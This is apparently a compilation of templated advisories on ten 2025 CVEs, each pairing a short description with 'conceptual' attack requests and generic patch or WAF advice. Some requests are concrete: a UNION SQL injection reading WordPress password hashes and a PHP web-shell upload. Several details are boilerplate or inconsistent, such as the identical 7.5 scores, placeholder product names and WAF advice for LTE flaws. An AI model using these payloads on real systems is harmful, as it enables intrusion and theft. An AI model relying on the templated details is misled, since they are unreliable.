Author: Ameeba

Overview

The CVE-2025-27066 is a critical vulnerability, affecting systems that process ANQP (Access Network Query Protocol) messages. The vulnerability can lead to a transient Denial of Service (DoS) and potentially system compromise or data leakage. Given the severity of this vulnerability, it is crucial for organizations to understand and mitigate the risk it presents.

Vulnerability Summary

CVE ID: CVE-2025-27066
Severity: Critical (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Transient DoS, with potential for system compromise and data leakage.

Affected Products

Product | Affected Versions

ANQP Message Processor | All current versions

How the Exploit Works

The exploit takes advantage of a flaw in how ANQP messages are processed. An attacker sends a specifically crafted ANQP message to a targeted system. This malformed message causes the system to enter a transient DoS state while it struggles to process the message. During this time, the system may be vulnerable to additional attacks that could lead to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This could be a malicious ANQP message:

POST /ANQP/Processor HTTP/1.1
Host: target.example.com
Content-Type: application/anqp-msg
{ "malicious_payload": "specially_crafted_message_that_causes_DoS" }

Mitigation

To mitigate this vulnerability, it is advised to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, helping to filter out malicious ANQP messages. It is also recommended to monitor system logs for any unusual activity or performance degradation, which could indicate an attempted exploit of this vulnerability.

Overview

CVE-2025-27065 is a notable cybersecurity vulnerability that impacts several systems and networks. It is characterized by a transient denial of service (DOS) occurring while processing a frame with a malformed shared-key descriptor. The vulnerability is significant due to its potential to compromise systems and lead to data leakage. Therefore, immediate attention is required to prevent any possible damage.

Vulnerability Summary

CVE ID: CVE-2025-27065
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Product 1 | Version 1.0 to Version 2.5
Product 2 | Version 3.0 to Version 4.1

How the Exploit Works

The exploit manipulates the processing of a frame with a malformed shared-key descriptor, leading to a transient denial of service (DOS). This manipulation can potentially allow an attacker to compromise the system or cause data leakage. This vulnerability does not require user interaction or privileges, making it a severe threat to systems running the affected software versions.

Conceptual Example Code

The following conceptual example demonstrates how the vulnerability might be exploited. This could be a sample HTTP request, shell command, or pseudocode:

POST /processFrame HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "frame": { "shared_key_descriptor": "malformed_descriptor" } }

In the above example, the attacker sends a POST request with a malformed shared-key descriptor. This malformed descriptor triggers the transient DOS, creating a system vulnerability that could be further exploited for system compromise or data leakage.

Mitigation and Recommendations

The recommended course of action is to apply the vendor patch immediately. If the patch is not available or cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. In the long term, it is crucial to apply the vendor patch to fully remediate this vulnerability. Furthermore, regular system updates and cybersecurity audits can help prevent future vulnerabilities.

Overview

This technical report discusses the details of a critical vulnerability, CVE-2025-21477, which allows for a transient Denial of Service (DOS) attack while processing CCCH (Common Control Channel) data. The vulnerability primarily affects systems that rely on network communication over CCCH. The significance of this vulnerability stems from its potential to compromise the system or lead to data leakage, thus posing a significant security threat.

Vulnerability Summary

CVE ID: CVE-2025-21477
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Network Communications Software | All prior to patch
Security Systems | All prior to patch

How the Exploit Works

The vulnerability, CVE-2025-21477, exploits the processing of CCCH data. When the network sends data with an invalid length, the system enters a state of transient Denial of Service. In this state, unauthorized access or data leakage may occur.

Conceptual Example Code

The following is a conceptual representation of how the vulnerability might be exploited. The malicious actor sends data with an invalid length, causing the system to enter a transient DOS state.

# Simulate network data transmission with invalid length
$ echo -n "invalid_length_data" | nc -u target.example.com 1234

Mitigation Guidance

The primary recommendation for mitigation is to apply the vendor patch as soon as it becomes available. If the patch is not yet available, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. However, these should not be considered long-term solutions, as they do not directly address the vulnerability.

Overview

CVE-2025-21452 is a significant security vulnerability affecting the reliability and integrity of LTE networks. The flaw could potentially enable an attacker to trigger a transient Denial of Service (DoS) condition by processing a Random-Access Response (RAR) with an invalid Protocol Data Unit (PDU) length. The severity of this risk underscores the critical need for affected entities to implement mitigation strategies immediately.

Vulnerability Summary

CVE ID: CVE-2025-21452
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Transient DoS condition, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

LTE Networks | All Versions

How the Exploit Works

An attacker exploiting this vulnerability would send a specially crafted RAR with an invalid PDU length to an LTE network. The system, upon receiving and attempting to process the malformed RAR, may experience a transient DoS condition. This vulnerability could allow an attacker to disrupt network connectivity temporarily, potentially causing system compromise or data leakage.

Conceptual Example Code

An example of how an attack might look in pseudocode:

def exploit(target):
# Create a random-access response with an invalid PDU length
rar = RandomAccessResponse(invalid_pdu_length)
# Send the malicious RAR to the target LTE network
send_rar(target, rar)

This code sends a malicious RAR to a target LTE network, potentially causing a transient DoS condition.

Mitigation Guidance

Entities operating on LTE networks should apply the vendor-provided patch to fix this vulnerability as soon as possible. If immediate patching is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be employed as temporary mitigation measures to detect and block attempts to exploit this vulnerability.

Overview

A significant vulnerability has been identified in the CleverReach® WP Plugin for WordPress, which could potentially expose sensitive information and compromise systems. The vulnerability, identified as CVE-2025-7036, is present in all versions up to 1.5.20 and poses a serious risk to any entity using the vulnerable versions of this plugin. An unauthenticated attacker can exploit this vulnerability, making it a critical issue that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-7036
Severity: High, CVSS: 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

CleverReach® WP Plugin | Up to and including 1.5.20

How the Exploit Works

The exploit takes advantage of a time-based SQL Injection vulnerability in the CleverReach® WP plugin for WordPress. This vulnerability is due to insufficient escaping on a user-supplied parameter – ‘title’, and lack of sufficient preparation on the existing SQL query. As a result, unauthenticated attackers can append additional SQL queries into already existing queries. These appended queries can then be used to extract sensitive information from the database, compromising the system and leading to potential data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. It demonstrates a malicious HTTP POST request that an attacker might use:

POST /wp-admin/admin-ajax.php?action=cr_form HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
title=validTitle'+UNION+SELECT+user_pass+FROM+wp_users+WHERE+ID=1--+

In this example, `validTitle’+UNION+SELECT+user_pass+FROM+wp_users+WHERE+ID=1–+` is a malicious payload that appends an SQL query to extract the password of the user with ID=1 from the WordPress database.

Mitigation

Users of the CleverReach® WP Plugin for WordPress are advised to update the plugin to the latest version which includes a patch for this vulnerability. In case the patch cannot be applied immediately, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Additionally, it’s crucial to regularly monitor and review system logs for any suspicious activity.

Overview

A critical vulnerability designated as CVE-2025-51628 has been identified in Agenzia Impresa Eccobook v2.81.1 and below. The vulnerability lies within the PdfHandler component, and is classified as an Insecure Direct Object Reference (IDOR) type, which can allow unauthenticated attackers to access confidential documents. This poses a significant risk to data security and confidentiality for users of the affected versions of the software.

Vulnerability Summary

CVE ID: CVE-2025-51628
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Confidentiality breach through unauthorized access to sensitive documents

Affected Products

Product | Affected Versions

Agenzia Impresa Eccobook | v2.81.1 and below

How the Exploit Works

The vulnerability in question is an Insecure Direct Object Reference (IDOR) vulnerability. This occurs when an application exposes a reference to an internal implementation object, such as a file or database key. In the case of CVE-2025-51628, the ‘DocumentoId’ parameter in the PdfHandler component is improperly validated, allowing attackers to manipulate references and gain unauthorized access to confidential documents.

Conceptual Example Code

Here’s a hypothetical example of how an attacker might exploit this vulnerability. The attacker sends a malicious HTTP request, manipulating the ‘DocumentoId’ parameter to access confidential documents:

GET /PdfHandler?DocumentoId=123456 HTTP/1.1
Host: target.example.com

In this example, ‘123456’ represents the ID of the document the attacker wants to access. The server would then send the requested document without validating the user’s access rights, leading to a confidentiality breach.

Overview

The vulnerability identified as CVE-2025-29745 is a critical issue affecting the scanning module of Emsisoft Anti-Malware prior to 2024.12. This vulnerability allows attackers on a remote server to obtain sensitive information, specifically Net-NTLMv2 hash. It is highly significant due to its potential to compromise system security and cause data leakage.

Vulnerability Summary

CVE ID: CVE-2025-29745
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Emsisoft Anti-Malware | Versions prior to 2024.12

How the Exploit Works

The exploit takes advantage of a flaw in the scanning module of Emsisoft Anti-Malware. Attackers can create a specially crafted A2S (Emsisoft Custom Scan) extension file that, when processed by the vulnerable software, reveals the Net-NTLMv2 hash information. This hash can then be used for further unauthorized activities, including potential system compromise and data leakage.

Conceptual Example Code

To illustrate, an attacker might use a malicious A2S file like the pseudocode below:

POST /upload_A2S HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="exploit.a2s"
Authorization: Bearer <Token>
{ "malicious_A2S_content": "..." }

In this example, the “malicious_A2S_content” represents the specially crafted A2S file which, when scanned by the vulnerable software, would expose the Net-NTLMv2 hash information. The attacker would then obtain the hash data and use it for further malicious activities.

Mitigation

Users are advised to apply the vendor patch as soon as it becomes available to remediate the vulnerability. In the meantime, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability.

Overview

This report covers the CVE-2025-6207 vulnerability present in the WP Import Export Lite plugin for WordPress. This vulnerability allows authenticated attackers to upload arbitrary files due to missing file type validation. The consequence of this vulnerability is potential remote code execution, leading to system compromise or data leakage if exploited.

Vulnerability Summary

CVE ID: CVE-2025-6207
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access with permissions granted by an Administrator)
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WP Import Export Lite | Up to and including 3.9.28

How the Exploit Works

The vulnerability lies in the ‘wpie_tempalte_import’ function of the WP Import Export Lite plugin. This function lacks proper file type validation, allowing an attacker to upload arbitrary files to the server. If an attacker uploads a malicious file, such as a PHP shell, they may be able to execute remote code, leading to potential system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how an attacker could exploit this vulnerability:

POST /wp-content/plugins/wp-import-export-lite/wpie_import.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW

In this example, an attacker sends a POST request to the vulnerable endpoint with a malicious PHP file. The PHP file contains a simple system command that would be executed once the file is uploaded to the server.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor-provided patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) for temporary mitigation.

Overview

The WP Import Export Lite plugin for WordPress, popular among website developers, is susceptible to an arbitrary file upload vulnerability. This vulnerability allows authenticated attackers to upload arbitrary files on the server hosting the affected site, potentially leading to remote code execution. This vulnerability is of high importance due to the potential for system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-5061
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access and above)
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WP Import Export Lite Plugin for WordPress | Up to and including 3.9.29

How the Exploit Works

This vulnerability stems from the ‘wpie_parse_upload_data’ function in the WP Import Export Lite plugin. The function lacks proper file type validation, allowing authenticated attackers to upload arbitrary files to the server hosting the affected WordPress site. Once a malicious file is uploaded, remote code execution may be possible.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

POST /wpie_parse_upload_data HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/php
<php malicious content>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this sample, an attacker sends a POST request to the vulnerable endpoint, uploading a malicious PHP file. The server, failing to validate the file type, allows the upload, potentially resulting in remote code execution.

Mitigation

To mitigate this vulnerability, apply the vendor patch released in version 3.9.29. As a temporary solution, consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent malicious file uploads.

Overview

The vulnerability in focus, CVE-2025-54868, targets LibreChat, a popular ChatGPT clone. The issue lies within an unprotected testing endpoint that could potentially expose the chats of arbitrary users to malicious parties. Given the widespread use of LibreChat, this vulnerability can have grave consequences, warranting immediate attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-54868
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to user chats could lead to system compromise and data leakage

Affected Products

Product | Affected Versions

LibreChat | 0.0.6 to 0.7.7-rc1

How the Exploit Works

The exploit takes advantage of the endpoint /api/search/test in LibreChat, which allows direct access to stored chats in the Meilisearch engine without the requirement of proper access control. By sending a crafted HTTP request to the exposed endpoint, an attacker can read arbitrary chats from the system, thereby breaching user privacy and potentially gaining sensitive information.

Conceptual Example Code

Below is a conceptual HTTP request an attacker might use to exploit this vulnerability:

GET /api/search/test?query=<user_id> HTTP/1.1
Host: target.librechat.com

In this example, `` would be replaced with the ID of the target user. Successful exploitation could allow the attacker to read the chat history of the specified user. Note: this is a simplified and conceptual example; actual exploitation would likely involve further complexities.